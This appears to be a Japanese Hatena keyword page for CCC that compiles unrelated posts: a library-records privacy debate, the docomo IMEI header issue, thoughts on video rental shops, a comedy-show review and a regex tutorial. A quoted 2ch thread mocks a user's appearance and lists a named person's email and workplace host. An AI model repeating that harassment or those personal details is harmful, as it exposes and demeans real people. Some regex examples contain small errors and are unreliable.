はてなキーワード: CCCとは
「図書館の貸出履歴をカルチュア・コンビニエンス・クラブに提供し、TカードのIDとヒモ付て管理することは、プライバシー上問題がないか」
とうことですねよ。これに関して、セキュリティの専門家、高木浩光さんと、武雄市長が論争を繰り広げています。
ただ、法律の専門用語が多かったりして難しいので、偏差値3でもわかるように、要約・解説してみました。
お二人の議論を整理すると、
武雄市長「図書館の貸出履歴は、現行法の「個人情報」に該当しない。したがって、問題がない」
高木浩光氏「現行の「個人情報」の定義が遅れている。不備がある。現行の解釈では個人情報が守れない」
という議論をしています。もう少し詳細に見ていきましょう。
武雄市市長の主張は、以下のようなものです。(元リンク http://hiwa1118.exblog.jp/15848122/)
・現行の個人情報の定義は「生存する個人に関する情報であって、当該情報に含まれる氏名、生年月日その他の記述等により特定の個人を識別することができるもの(他の情報と容易に照合することができ、それにより特定の個人を識別することができることとなるものを含む。)をいう。」
・したがって、貸出履歴は個人情報に該当しない。なぜなら、容易に個人を特定できないから。
・よって、高木はファック。俺は国Ⅰ。
という論理です。文章は自意識がひりでて読みにくいのですが、役人的論理としては、しっかり筋を通しているあたりは流石ですね。要するに、法律論でのかっこつきの「個人情報」に害というしなので問題ねぇぜ!というお話です。
一方、高木さんの主張は以下のようになります。(元リンク http://takagi-hiromitsu.jp/diary/20120508.html)
・現行の個人情報の定義に不備がある。たとえば、スマホアプリの端末IDに紐付いた行動履歴等は現行法では個人情報ではないが、個人のプライバシーに関わる重要な情報である。
・アメリカでも、スマホ端末IDに紐付いた行動履歴をプライバシーとして定義するようになっている。
・IDに紐付いた貸出履歴は、上の定義でいえば、個人情報に該当する。
・加えて、営利企業であるCCCに貸出履歴を提供することは、図書館の自由に関する宣言に反する。
という論争であって、要するに、論点は以下の3つになります。
・CCCの管理する「IDに紐付いた貸出履歴が個人情報に該当するか」問題
・図書館の自由を守るべきか否か問題
の3つになります。では、具体的に諸論点をみていきましょう。
武雄市長の主張は確かに筋が通っています。つまり、現状ではTカードに紐付いた貸出履歴・行動履歴は「個人情報」に該当しないと述べることができます。
この解釈の上では、みなさんが使っているスマホの端末IDに基づいた利用情報も「個人情報」ではありません。
でも、IDと複数の情報が結びつくことで、個人を特定できる場合がありますよね。だから、米国の消費者権利章典では、IDに紐付く利用履歴・行動履歴は、パーソナルデータとして定義されています。
また、日本でも提言レベルでは、同種の配慮をするべきだとの主張がされています。
流出したら嫌な個人情報というのは、生年月日・氏名だけではないですよね。
たとえば、僕が「淫乱娘Aチーム」というのをTSUTAYAで借りている。さらに、僕がある珍しい難病にかかっていて、その関連書を図書館であさり読んでいるとします。
これが流出したら、IDという形で匿名化されていても、僕を知っている人は、僕個人を容易に特定できます。さらに、下手に氏名が流出するより、社会的なダメージが大きいですよね。
IDに紐付いて様々な行動情報が収集されるようになりました。詳細な点と点を結びつければ、該当の個人へと繋がる線をつくるのは難しいことではない。
だから、「IDに紐付く行動履歴」も個人情報として考えようよ、というのが最近の潮流になっています。
ただ、武雄市長が述べているように、「現行法では問題ない」のも、また事実です。
このグレーな部分をどう解釈するか、という問題になるでしょう。
現行では問題がないと解釈することが出来るのは、先に触れたとおりです。
ただ、経済産業省の「総務省:行動ターゲティング広告の経済効果と利用者保護に関する調査研究 報告書」を見ると、
我が国では ID 化する等して個人識別情報(氏名等)を匿名化した場合であっても、その他の情報で個人が推知される場合は個人情報となりうる場合があると解釈されている
ということで、提言レベルでは「ID化しても他の情報との関連で個人がバレるのはマズイよ」という風に問題を認識しているわけですね。
今回の件は、「IDに紐付いて貸出履歴を管理」します。では、「IDに紐付いた貸出履歴」というので、個人を特定できるのか。
結論をいえば、特定できます。
たとえば、マイナーな病気にかかっていて、図書館で自分の関連書を借りているような人の貸出履歴が流出したら、その人が誰かを特定される恐れがありますよね。
上記の報告書でも「特に、書籍の購買履歴や疾病に関する検索履歴などを通じ、思想・信条や身体に関する機微情報が明らかになる懸念)」が指摘されています。
さらに、TSUTAYAの貸出情報とあわさるなんてことがあれば「お前、団地妻と三銃士〜隠された王女の首飾り〜借りとるやん!」なんてのがわかってしまう。
貸出履歴でも、個人を特定することは不可能ではありません。
ということで、「」つきではない、個人情報に貸出履歴が該当する可能性が高いと考えるのが妥当です。
セキュリティの議論から離れて、図書館が利用者の貸出履歴を行政に差し出すのは、図書館の自由に関する宣言に反するという問題もあります。
図書館というのは、戦前は思想善導機関として機能していた歴史があります。思想善導機関として、「あるべき思想」を押し込むために、国民の知る自由を妨げてきてしまった。
その反省の上に、「図書館の自由」が宣言されました。図書館は、思想統制の歴史を繰り返さないために、
1. 読者が何を読むかはその人のプライバシーに属することであり、図書館は、利用者の読書事実を外部に漏らさない。ただし、憲法第35条にもとづく令状を確認した場合は例外とする。
のように宣言。他にも検閲への反対は有名ですね。
要するに「図書館というのは、民主主義の根本である『知る』を支える機関だから、それを守るために利用者の貸出履歴も守る。」ということですね。
「共産主義の本をかりている奴らがいました。奴らはアカです」なんて報告されたら、思想の統制なんて簡単ですから。
もちろん、宣言ですから法的な拘束力はないです。図書館法には貸出履歴の提出を禁じるという部分があるわけでもない。
でもな、違うんだよ!!!
これを認めちまったら、図書館の自殺と同じだよ。「何を読むか」が弾圧につながった時代を経験してきたからこそ生まれた「利用者の秘密を守る」とか検閲への反対がある。それこそが「知恵の保護者」たる今の図書館のアイデンティティなんだよ。
それだけは知恵の機関たる図書館が絶対に、絶対にゆずちゃいけないところだ。
で、もちろん、今回の件は、図書館の自由に反します。TSUTAYAも武雄市も外部ですから。
この点武雄市長は「単なる部族社会の宣言」と述べて、退けています。
おい、どれだけの歴史があって、苦心があって、図書館の自由に関する宣言が生み出されていると思ってんだ。てめぇの薄っぺらい頭髪の何兆倍の厚みがあると理解してんだ?Ah?
はい、ということで議論をまとめると、
・現行の解釈下での「個人情報」には、TSUTAYAに提供する貸出履歴は該当しないということができる。
・しかし、アメリカ、経産省の提言レベルでは「IDに紐付いた行動履歴」はプライバシー、個人情報と考えられるようになってきた
・なぜなら、難病患者などは、貸出履歴でも個人を特定できてしまうから。
・今回の貸出履歴の問題は、「IDに紐付いた行動履歴」なので、法律上問題ないにしても、流出すればプライバシーを大きく侵害するおそれがある
・さらに、利用履歴を提供するのは、図書館の自由に関する宣言に反する(これ、大事)
となります。
以上を踏まえた上で、みなさんはどう考えますか?
参考URL
・http://hiwa1118.exblog.jp/15848122/
今年冬以降に発売されるandroid端末のメディアプレイヤーはHTTPヘッダのUser-Agentおよび拡張ヘッダにIMEI番号が含まれるということが分かり、騒動となった。
カレログ、applogに続きNTTドコモが参戦? - http://togetter.com/li/202490
NTT docomo IMEI垂れ流し問題 http://togetter.com/li/202536
http://www.nttdocomo.co.jp/service/developer/smart_phone/service_lineup/music_movie/index.html
(魚拓)http://megalodon.jp/2011-1019-1834-56/www.nttdocomo.co.jp/service/developer/smart_phone/service_lineup/music_movie/index.html
こう記述されている。
Android端末の一部機種では、音楽・動画コンテンツを再生するためのメディアプレイヤーをドコモがプリインストールします。
メディアプレイヤーがプリインストールされる機種は2011年度下期モデル以降の主なAndroid端末となります。
ユーザエージェント
メディアプレイヤーがHTTP通信を行う際のUser-Agentヘッダは以下となります。
User-Agent:<SP>DOCOMO/2.0<SP>[AAA](MP;[BBB];Android;[CCC];[DDD]);imei:[xxxxxxxxxxxxxxx];networkoperator:[yyyzz]<CR><LF>
<SP>:半角スペース
[]以外は固定値
AAA:機種名
xxxxxxxxxxxxxxx[15桁]:IMEI
yyy[3桁]:Mobile Country Code
HTTP通信時の拡張ヘッダ付加情報
メディアプレイヤーがHTTP通信を行う際は、以下の拡張ヘッダが付与されます。
x-dcmstore-imei:<SP>xxxxxxxxxxxxxxx<CR><LF>
<SP>:半角スペース
xxxxxxxxxxxxxxx[15桁]:IMEI
ケータイ用語の基礎知識http://k-tai.impress.co.jp/cda/article/keyword/43518.html
によれば、
とある。
端末に固有の番号であるという認識でよいだろう。パソコンで言うMACアドレスのようなものだ。
重複する部分もあるが、いくつかの問題が含まれているように思える。
twitterで見られた反応をいくつか整理してみた。
これが最も大きい問題。twitterでIMEIってつぶやいている人の大半はこれを問題視している。
IMEI番号をそのまま送信している。
すなわち、コンテンツプロバイダ(CP)Aにも、CP-Bにも同じ番号が送信されている。
CP-AとCP-BでIMEI番号を突き合せて、収集した情報をリンクさせることができてしまう。
IMEI番号は端末に紐付けられている。
したがって端末を買い替えない限り番号は変わらない。
これが問題。
10年以上前から同じことが繰り返されているため、空間的時間的に広い共通IDを使うことの「何が問題か」知りたいなら過去の事例を参照するとよい。
等
高木浩光氏による行動トラッキングの歴史と境界線についての備忘録 http://togetter.com/li/197732
インターネットにおけるIDとトレーサビリティ(2003年)高木浩光氏 http://www.nic.ad.jp/ja/materials/iw/2003/main/ipmeeting/panel-takagi.pdf
Tracking Cookie - Symantec http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2006-080217-3524-99
まだIMEI送信機能付きandroid端末が発売されていないので、どういう実装か不明のため、これは想像上の懸念だ。
このIMEI番号送信機能は、おそらくDRMに利用することが目的の一つだろう。
特定の機種でのみ購入した音楽が再生できる機能が組み込まれている可能性がある。
その場合、機種変更をするとIMEI番号が変わるために購入したコンテンツを利用できなくなる可能性がある。
あるいは一人で二台以上の端末を所有する場合、どちらか一方の端末でしかコンテンツが利用できない可能性もある。
実際、iPhoneにおいて似た事例が発生していた。認証にUDID(端末固有ID)を用いていたアプリが機種変更ののちに使えなくなる事例があった。
また、それまで利用していた端末をオークション等で販売する可能性もある。
その場合、端末の新しい所有者が、古い所有者の購入したコンテンツを利用できてしまう可能性もある。
ただしこれらは想像上の懸念だ。
UserAgentまたは拡張ヘッダに記述されたIMEI番号をもとに認証を行うサイトの出現が懸念される。
参考:かんたんログインの事例 http://www.atmarkit.co.jp/fsecurity/rensai/keitaiweb02/keitaiweb01.html
そもそもIMEI番号の取得はかんたんだ。
友達が不用意にその辺に放置した端末で「*#06#」と入力すれば取得できてしまう。
送信される番号はどのサイトに対しても共通なので、他のサイトで使うことができる。
そしてなりすましも容易だ。
とか。
ぼくよくわかんない><
プライバシに関する専門家でもないので、補足訂正おねがいしまーす。
あと、この問題を扱うに当たって、何を「個人情報」だとするのかとらえ方が人によって違うことに注意したほうが余計な労力を使わなくて済む、と思いまーす。
さて、ついにオンラインでの映画レンタルサービスが発表されましたね。
アップル、日本のiTunes Storeでも映画配信スタート
返却期限を過ぎて延滞金を取られたとか、借りた DVD に傷が付いてて見れなかったとか、そんな不便な経験をしたことがある人も多いんじゃないんでしょうか。
僕も、延滞金が保留になっててブラックリスト扱いされてるお店がありますw
お値段も新作 500 円、旧作 300 円からとそんなに高くない (地方の店だとこれぐらいザラ)。
良いところたくさんのこのサービスの開始によって、影響を受けそうな映画館、ツタヤとかゲオなんかが今後どうなるのかちょっと考えてみました。
ここはそんなに影響受けることはないんじゃないかと思います。
なぜなら、多くの映画ファンにとって「映画館で観る映画」と「家で DVD で観る映画」は別物だと思うからです。
あの大スクリーンに豪華な音響施設、映画を観るためだけの映画館という施設の魅力というか雰囲気、何よりいい映画の場合、他の観客と感動を生で共有できる (マナーの悪い人もいますけどね…) という独特の味みたいなものがあります。
デパートの屋上でコーヒーカップに乗っても普通の楽しさですが、ディズニーランドで乗ると楽しさ 10 倍くらい増しません? あんな感じです。
結論:
映画館は一種のアミューズメント施設なわけで、利便性を売りとしているオンラインレンタルとは競合しにくいかな。
ここがキモです。
でも僕は、少なくともツタヤはすぐ死ぬってことはないんじゃないかと思ってます。
iTunes Store ではおもしろい映画の提案はしてくれません (少なくとも今は)。
Music Store を見ても最新チャートがズラッと並んでいるだけで、今まで iTunes Store の方から音楽を提案してきたことは、機械的なレコメンド機能を覗いて皆無です。
つい先日脱税やらで恥ずかしい報道がされていましたが、やっぱり頭のいい人間はいるみたいで、ツタヤは最近こんな企画をやっています。
【TSUTAYA発掘良品】100人の映画通が選んだ本当に面白い映画。
名前でどういう企画かすぐわかりますね。
興味が出た方は、お店に行って返金対象の映画でもどうぞ。
で、何が言いたいかというと、今後お店が生き残る道の一つとして「客に提案できる店」というのが考えられると思う。
年に何百本も映画を観てるツタヤの店員に「これおもしろいっすよ~^^」なんて言われたら、よほどのことがない限り興味が湧きません?
これは機械でできてる iTunes Store には決してできないこと。
それに、ゲオにもこれはできません。
ゲオはレンタル料金の価格破壊ということで業界に参入してきたけど、映画というものは『観れる時間』という限られたパイがある。
レンタル料金を下げたら、限られたパイの争奪戦になりいずれ立ち行かなくなるということがわからなかったのだろうか。
わからなかったから、あんなことしたんだろうけど。
当然だけど売上は下がって、お店は昔のようにヘンテコな作品を置いてお店を賑わすことが難しくなり、メジャーな映画やドラマ・韓流といったつまらないものばかりになってしまった。
こんなめくらな商売をする会社に、驚くような対抗策が出せるとは思えない。
レンタルの次はポイント事業だし、やってることが全部 CCC (ツタヤの親会社) の後追い。
あー、ウザいから早く潰れないかなこの会社。
結論:
お店に行く楽しみを提案できるのなら、この先数年は大丈夫だと思う。
たぶん。
http://anond.hatelabo.jp/20101016001044
746 :dropdb:2008/08/25(月) 23:09:50 ID:QKiHbSS+0
2ちゃんねるに何かあると聞いてすっ飛んできました。
てめぇら人の顔とかデブ発言とかいい加減にしろよな。
744“「女」って自分の容姿に自意識過剰だよな”、だと?だからなんだ?
でっていう?人様、そして自分ののツラ構えに優越感もクソもあるか。
書ききれないので記事にした。これを読んで満足したらしょんべんしてねろ!
http://d.hatena.ne.jp/dropdb/20070118/p4
765 :名無しさん@ゴーゴーゴーゴー!:2008/08/26(火) 01:03:54 ID:dyYBPKJd0
本人かよwwwクソワロタwwwナイスデブwwww(SQL的な意味で
766 :名無しさん@ゴーゴーゴーゴー!:2008/08/26(火) 01:21:26 ID:o/Vj1JD70
さすが中卒。さすが元ヒキニート。芳ばしさが違うwwwぶよぶよメタボ体型のこと気にしてたのかww
それより染色体の千切れた出目金みたいなツラをどうにかしろよwwwww笑えるwwww
16 :dropdb:2008/05/11(日) 17:10:31 ID:Em6YBCJB0
大漁でした。わたしも釣れてるんだけど、ここにエサがあったから。
21 :名無しさん@総合案内で板設定変更の議論中:2008/05/11(日) 17:39:37 ID:Em6YBCJB0
241 :斉藤のり子[123abc@csc.jp]:10/08/20 17:36 HOST:nwproxy11.nw.ccc.co.jp
対象区分:[個人・三種]優先削除あり
削除対象アドレス: http://kamome.2ch.net/test/read.cgi/net/1279794454/98
http://kamome.2ch.net/test/read.cgi/net/1279794454/96
http://kamome.2ch.net/test/read.cgi/net/1279794454/95
http://kamome.2ch.net/test/read.cgi/net/1279794454/94
http://kamome.2ch.net/test/read.cgi/net/1279794454/85
http://kamome.2ch.net/test/read.cgi/net/1279794454/82
削除理由・詳細・その他: ガイドラインに抵触【個人名・三種】【私生活情報】【連続投稿】
ニックネームが公開され、個人が特定できる状態。
106 :dropdb ◆7HgcmcULOE :2010/08/21(土) 14:07:33 ID:QIAH/KY7P
>>105 家じゃ規制されてるもんで。あと会社の人は知ってるよ。
会社にjituzonが電話かけたというので業務に支障来たすなら削除依頼だしとけば、と。
ちなみにご飯食べに行く前で、それはタイムカード切った後の書き込み。これ豆知識な。
108 :名無しさん@ゴーゴーゴーゴー!:2010/08/21(土) 15:27:35 ID:mIoGojHBP
規制されていたと思ったけど、復活したのかね?
あとタイムカード切ったとかって上のほうでかいてあるけど
いかにも社外の人の表現方法だね
118 :dropdb ◆7HgcmcULOE:2010/08/23(月) 09:12:25 ID:bNxAiUZFP
よい判断をしてもらったと思ってるよ。
しかしブクマに[次の転職先]タグがあるところを見るとCCCは辞めさせられたようだ。
http://b.hatena.ne.jp/webkit/
次の転職先はNetflixか。
ロンドンハーツ「実名アンケート! 芸人リアル好感度調査」(前編,後編)は今が旬のブラマヨとアンタッチャブル山崎が活躍して非常に面白かった。
番組はこんな感じ : http://www.tv-asahi.co.jp/londonhearts/contents/backnumber/cur/img/1_6.JPG
カメラは「アメトーーク」と同じロケ手法を使ったのかな。同じテレ朝の加持さんの番組だし。芸人のガヤや動きが漏らさず収められているので、実力のある芸人にとっては非常にやりやすそうだった。
その中で山崎がすっごいカブせまくってて、、すごい、もの凄い才能があるわ。。
「AAA → BBB、って何でやねん」 (やや乗り突っ込み気味)
「AAAでBBB、みたいな」 (バブル期は「AAA、みたいな」のみ)
■ホリケン
(前に出てくる)「AAA! → BBB! → CCC! → DDD! → EEE!」(後ろに下がる)
■ビートたけしの全盛期
AAA → BBB → CCCだ、この野郎!(肩をヒクっとさせる) / DDD → EEE → FFFだって、ふざけんな馬鹿!(肩をヒクっとさせる)/
AAA(笑) → BBB(爆笑) → CCC(淳振る) → DDD(笑) → EEE(DDDの被せ) → FFF(笑) → GGG → HHH(爆笑) → III → JJJ(笑) → KKK(笑) → LLL(笑) → MMM(LLLの被せ)(笑)
司会のロンブー淳がCCC以降に絡みながら話を引き出していく感じ。(笑)は笑いが起こり、(爆笑)は爆笑が起こった地点。
全盛期のたけしでも/の部分で一息入れてる感じがあるんだけど、山崎は「ブルドーザーみたいに持ってっちゃう(by東野)」。
東野は「さんまさんタイプ」って言ってたけど、こういうカブせ方を見てるとたけしタイプなのかも。
最近までのレッドカーペット的な短いお笑いの流行りが終わった今このタイミングで山崎に注目が集まってるってのが非常に面白い。そんでそれを迷わずすくい上げて放送してくれる番組もありがたい。
「はじめての正規表現」がホッテントリ入りしていますが、
導入としては、何に使うのかがわかりやすくて良いのではないかと思います。
あれを見て、基本機能をまとめてみたくなったので、正規表現の基本的な機能について書いてみます。
(正規表現が初めてという人は「はじめての正規表現」を先に見たほうがいいと思います。)
例では「検索」か「置換」をするものとして話を進めていきます。
(「はじめての正規表現」が実例を中心にしたのに対して、こちらは機能を中心に書きます)
正規表現は、プログラミング言語やその他のツールなど、それぞれで微妙な違い(方言)があるので、その点には注意が必要です。
(表記法が違ったり、ここに紹介する機能がサポートされていなかったり、逆に紹介していない機能をサポートしていたりする場合があります)
メタ文字とは機能を持つ文字で、『.
』『*
』『*?
』といったものが当てはまります。
リテラル文字は「文字それ自体」と解釈される文字で、『
』『a
』『<
』といったものです。
「検索する文字列:『egg
』 置換する文字列:『chicken
』」
などとすれば、正規表現を使わない置換と同じ効果になります。
なお、検索して検索文字列が当てはまることを「マッチする」と言います。
メタ文字に使われている文字を検索したい場合は、直前に『\
』を置きます。(これを「エスケープ」と呼びます。)
『.*?^$()[]{}
』などがメタ文字です。
『$100
』を検索したければ、『\$100
』とすればいいということになります。
(『\
』は環境によって、半角の『¥』『\』のどちらかになります。)
言語、ツール、モードなどによっては『@/#
』もエスケープが必要です。
また、『\
』自体は常にエスケープが必要です。
メタ文字 | 意味 |
---|---|
? | 直前の文字を0回または1回繰り返す |
* | 直前の文字を0回以上繰り返す |
+ | 直前の文字を1回以上繰り返す |
{n} | 直前の文字をn回繰り返す |
{n,} | 直前の文字をn回以上繰り返す |
{n,m} | 直前の文字をn〜m回繰り返す |
これらのメタ文字は「量指定子」といって、直前の文字の繰り返しを意味します。
『*
』は「任意の文字を0回以上繰り返す」とありますが、
「0回以上繰り返す」とは、「全く何もなくてもいいし、いくらあってもいい」という意味です。
よって、『?
』は「あってもなくてもいい」、『+
』は「1つ以上あればいい」と解釈できます。
『colou?r
』は『u
』があってもなくてもいいので「colorかcolour」ということになります。
『{n}
』は、たとえば『-{15}
』なら、「ハイフン(-)が15個続くもの」となります。
『-{10,}
』なら「ハイフン(-)が少なくともは10個続くもの(多いのはいくらでも)」、
『-{10,15}
』なら「ハイフン(-)が10〜15個続くもの」となります。
また、複数の文字を繰り返したい場合は括弧で囲みます。
『(Gang){2}Dance
』は『GangGangDance
』と同じ意味になります。
メタ文字 | 意味 |
---|---|
? | 直前の文字を0回または1回繰り返す(欲張り) |
* | 直前の文字を0回以上繰り返す(欲張り) |
+ | 直前の文字を1回以上繰り返す(欲張り) |
?? | 直前の文字を0回または1回繰り返す(非欲張り) |
*? | 直前の文字を0回以上繰り返す(非欲張り) |
+? | 直前の文字を1回以上繰り返す(非欲張り) |
「欲張り」とは、「なるべく多くの文字に適用しようとする」、
「非欲張り」とは、「なるべく少ない文字に適用しようとする」という意味です。
すると、検索する文字列が『a+
』なら『aaa bbb ccc
』、
検索する文字列が『a+?
』なら『aaa bbb ccc
』が置換対象となります。
(「すべてを検索/置換」する場合は当てはまりません)
「『a
』を1回以上繰り返す」ということは、『a
』でも『aa
』でも『aaa
』でもマッチすることになりますが、
「欲張り」かそうでないかで実際のマッチは変わってくるわけです。
文字クラス | 意味 |
---|---|
[abc] | a、b、cのいずれか |
[a-z] | a〜zのいずれか |
[^a] | a以外の文字(改行文字を含めaを除いた全て) |
[^a-z] | a〜z以外の文字(改行文字を含めa〜zを除いた全て) |
文字クラスは『a
』や『<
』などの代わりに文字の種類を指定するものです。
a〜eのどれかの1文字という指定をしたい場合に『[abcde]
』や『[a-e]
』といった指定ができます。
また、文字クラス内の最初に『^
』をつけて『[^abc]
』などとすれば、
「a、b、c以外の何の文字でもいい」とすることができます。
間違いやすいのが「そこにaもbもcも存在しなければいい」という意味ではないということです。
文字クラスは「なんらかの1文字の身代わり」なので、それは何か1文字を表しています。
『-
』は範囲を表すのに使用します。そのため、『[;-%]
』で「; - %のどれか」を表現することはできません。
『-
』を含める場合は必ず最初に持ってきます。すると『[-;%]
』という風になります。
「; - %以外の文字」としたいならば『[^-;%]
』とします。
『[
』や『]
』、『\
』を文字クラスに含めたい場合は直前に『\
』を置いてエスケープします。
「『[
』または『]
』」であれば『[\[\]]
』となります。
『^
』やその他の記号は先頭に置かなければいいので、エスケープの必要はありません。
『.
』は「改行以外のすべての文字」を表しています。
改行は『\n
』で表されるため、『.
』は『[^\n]
』と等価です。
(ただし、正規表現のモードによっては「改行も含めすべての文字」を表す場合もあります)
文字クラス | 意味 | 同等の表記 |
---|---|---|
\w | 記号や空白ではない文字すべて | [a-zA-Z0-9_] |
\W | 記号や空白ではない文字以外 | [^a-zA-Z0-9_] |
\d | 数字 | [0-9] |
\D | 数字以外 | [^0-9] |
\s | タブや改行など、空白類とされる文字 | [ \t\n\r\f\v] |
\S | タブや改行など、空白類とされる文字以外 | [^ \t\n\r\f\v] |
(*間違って『\s
』の同等の表記にも『^
』がついていたのを修正しました)
(『\t
』はタブ、『\v
』は垂直タブ、『\r
』はキャリッジリターン(CR、改行の一種)、『\f
』は改ページ)
これらは『[a-fA-F\d]
』のようにすることで、文字クラスのブラケット(角括弧)内に含めることができます。
「同等の表記」と書きましたが、文字をユニコードして扱うツールの場合は、上記が同等の表記にはならず、
たとえば『\d
』であれば漢数字が含まれてしまったりするので注意が必要です。
『(A|B)
』は「AまたはB」という意味です。(これを「選択」と呼びます)
『(A|B|C)
』なら「A、B、Cのどれか」という意味になります。
『(gray|grey)
』は『gr[ae]y
』とほぼ等価となります。
『[ae]
』は「1文字のaまたはb」という意味になるので結果的に、ほぼ同じ効果が得られるわけです。
(ただし、これはgrayとgreyの違いが1文字だけだったためで、そうでない場合はこうはなりません)
気をつけなければならないのは、その順番です。
『(Java|JavaScript)
』で検索すると、対象文字列内に存在する『Java
』と『JavaScript
』すべてマッチするように思えますが、
『JavaScript
』は選択肢の前(左)のほうにある『Java
』が当てはまってしまうため、
『Script
』部分にはマッチせず、『JavaScript
』というマッチになってしまいます。
選択では左側が優先されるので、『(JavaScript|Java)
』とすることでこの問題は防げます。
(言語、ツールによっては、この問題が起こらない=順番関係なく長いほうを適用しようとするものもあります)
メタ文字 | 意味 |
---|---|
^ | 行頭 |
$ | 行末 |
\b | 単語境界 |
\B | 単語境界以外 |
リテラル文字や文字クラスが「文字自体」にマッチするのと違い、アンカーは「位置」にマッチします。
検索する文字列が『^
』、置換する文字列が『>
』なら、「行頭に『>
』を挿入する」という意味になります。
単語境界とは、「単語を構成する文字=『\w
』に相当する文字」と「単語を構成しない文字=『\W
』に相当する文字」の間の位置のことです。
『regular expression.
』なら『^regular^ ^expression^.
』の4ヶ所に当てはまります。
『\b.*?\b
』とすれば単語すべてにマッチさせることができます。
しかし、「単語構成文字」が基準なので、『JavaScript
』は1単語でも、『L?K?O
』は1単語とは見なされません。
アンカーは位置にマッチするので、文字クラス内に含めることはできません。
『^
』や『$
』を文字クラスに含めても、その文字自体という意味になります。
つまり、『[^$]
』なら「行頭または行末」ではなくて、「『$
』文字以外」ということになります。
また、『\b
』は文字クラス内のみ、バックスペース文字を表す場合が多いようです。
正規表現には、大抵「大文字と小文字を無視する」というオプションがあります。
これが入っていないと「『to:
』で検索しても『To:
』にマッチしない」といったことが起こります。
言語、ツールによっては、正規表現の一部にのみ大文字と小文字を無視する機能があるものもあります。
例えばRubyでは『(?i:foo)
』という形式を使用できます。
『(
?i:Ruby) Python
』という表現なら、『ruby Python
』や『RuBy Python』にはマッチしますが、
『RUBY PYTHON
』にはマッチしない、ということになります。
括弧内に入れた文字列は、ある場所に記憶されます。(「キャプチャ」と呼びます)
これは『\n
』という表記を使って呼び出すことができます。(nは数字)
同じ単語が2連続で出てくるもの(『merry merry
』みたいなもの)を探すという場合、
『\b(\w+)\b \1
』とすることができます。(ここで使った『\1
』を「後方参照」と呼びます)
こうすると、『\1
』の部分は、『(\w+)
』を使ってマッチしたものと同じものがあるものとして解釈されることになります。
括弧を何個も使う場合は、左の括弧から順に『\1
』、『\2
』、『\3
』となります。
また、後方参照は置換文字列にも使うことができます。
つまり置換文字列内に『\1
』と書けば1番目の括弧、
『\2
』と書けば2番目の括弧でキャプチャされたものがそこに入ることになります。
この場合、言語、ツールによっては『\n
』ではなく『$n
』を使う場合もあるようです。
括弧は『(foo|bar)
』という選択や、『(humbert){2}
』というグループ化など、キャプチャ以外にも使われます。
そのため、キャプチャに使われた数字をわかりやすくするために、キャプチャしない括弧もあります。
それには『(?:foo)
』という表記を使います。
前の例であれば『(?:foo|bar)
』と『(?:humbert){2}
』になります。
「その位置の続くものを確認する」というのが「先読み」です。
対象文字列を『JavaScript Java Applet』として考えてみましょう。
『Java(?=Script)
』は「『Script
』が後に続く『Java
』」にマッチします。
『(?=Script)
』の部分が、「『Script
』が後に続くかどうか」をチェックしているので、
後ろに『Script
』が続かない単なる『Java
』にはマッチしません。
『(?=Script)
』の部分は「後に『Script
』が続く位置」にマッチしていることになります。
この例のマッチは『JavaScript Java Applet』となります。
逆に、『Java(?!Script)
』とすれば、「『Script
』が後に続かないかどうか」をチェックするので、
後ろに『Script
』が続かない単なる『Java
』にマッチさせることができます。
こちらは「否定先読み」と呼びます。
この例のマッチは『JavaScript Java Applet』となります。
言語、ツールによっては、「その位置の前にあるものを確認する」という「戻り読み」「否定戻り読み」がサポートされているものもあります。
(これは『(?<=foo)
』『(?<!=bar)
』という形で使います)
先読みや否定先読み、戻り読みなどをまとめて「前後読み」と呼びますが、
前後読みは位置にマッチするため、戻り読みは先読みとは通常書くべき位置が逆になります。
『(?<Mozilla )Firefox
』とすれば、『Mozilla
』に続く『Firefox
』のみにマッチします。
メタ文字 | 意味 |
---|---|
?+ | 直前の文字を0回または1回繰り返す(強欲) |
*+ | 直前の文字を0回以上繰り返す(強欲) |
++ | 直前の文字を1回以上繰り返す(強欲) |
上のほうで?、*、+は「欲張り」だと書きましたが、「欲張り」な量指定子も“ゆずる”ことがあります。
対象文字列が『"something"
』だとして、検索文字列『".*"
』はこれにマッチします。
しかし、強欲な量指定子『*+
』に置き換えて『".*+"
』とするとマッチしません。
これはなぜかというと、「欲張り」な量指定子を使った『.*
』の部分は、
最後の『"
』がなければ『something"
』にマッチすることになりますが、
正規表現の最後に『"
』があるために、対象文字列の最後の『"
』をゆずっているのです。
『.*+
』の部分が『something"
』にマッチしてしまい、
強欲な量指定子をサポートしていない言語、ツールでも、「アトミックなグループ」というものが使える場合があります。
アトミックなグループでは『(?>foo)
』という表記を使います。
『\w?+
』なら『(?>w+)
』、『\w*+
』なら『(?>w*)
』、『\w++
』なら『(?>w+)
』で代替できます。
『*
』の「直前の文字の0回以上の繰り返し」はよく気をつけないと、間違ったものにまでマッチしてしまいます。
リテラル文字と文字クラスは「文字自体」にマッチすると書きましたが、
『-*
』というような表現は、『-
』や『--------
』だけでなく、
なぜそうなるかというと、「0回以上」ということは「なくてもいい」ということだからです。
空文字列へのマッチは、実質上「位置」へのマッチと似たようなものになります。
検索文字列を『-*
』として一括置換すると、
『-
』や『--------
』が置換されるだけでなく、
『-
』が存在しないすべての場所に置換文字列が挿入されてしまうことになります。
正しい正規表現を書くためには、「どう書けばマッチするか」だけでなく、
「どういう場合にマッチしなければいいか」についても考えてみる必要があります。
*
』≒正規表現の『.*
』とありますが、これは厳密には微妙に違います。
ファイルグロブでは《*
》は「任意の文字を1回以上繰り返す」
つまり、1文字以上あればなんでもいいということになります。
この意味だと、《*.*
》は "foo." や ".bar" は当てはまりません。
しかし、「0回以上」であればマッチすることになります。
正規表現では「1回以上繰り返す」は、《+
》なので、
「任意の文字を1回以上繰り返す」は『.+』となります。
よって、《*.*
》とほぼ等価な表現は『.+\..+
』となります。
これは私の勘違いでした。miauさんご指摘ありがとうございます。
「*.*」は foo. にマッチするはずだし、.bar にマッチしないのは、「*」がドットファイルにマッチしないっていう特殊ルールがあるから・・・ですよね?
ファイルグロブの《*
》は、「0回以上繰り返す(ただし例外として、一番最初のドットは表せない)」ということのようです。
《*.*
》とほぼ等価な表現は、正しくは『(?!\.).*\..*
』となります。
正規表現を使うにあたっては、検索対象がどのようなものか知っておくことが重要です。
『\d{4}[-/]\d{1,2}[-/]\d{1,2}
』で日付と思われる文字列を検索することができますが、
これは『00-0000-00-00
』というものにもマッチしてしまいます。(『00-0000-00-00
』)
しかしこれを厳密にしようと思えばかなり複雑な正規表現になってしまうので、
どの程度の厳密さが必要かを把握しておくことが肝要と言えるでしょう。
冒頭にも書きましたが、正規表現は、言語やツールによって微妙な違いがあるので、
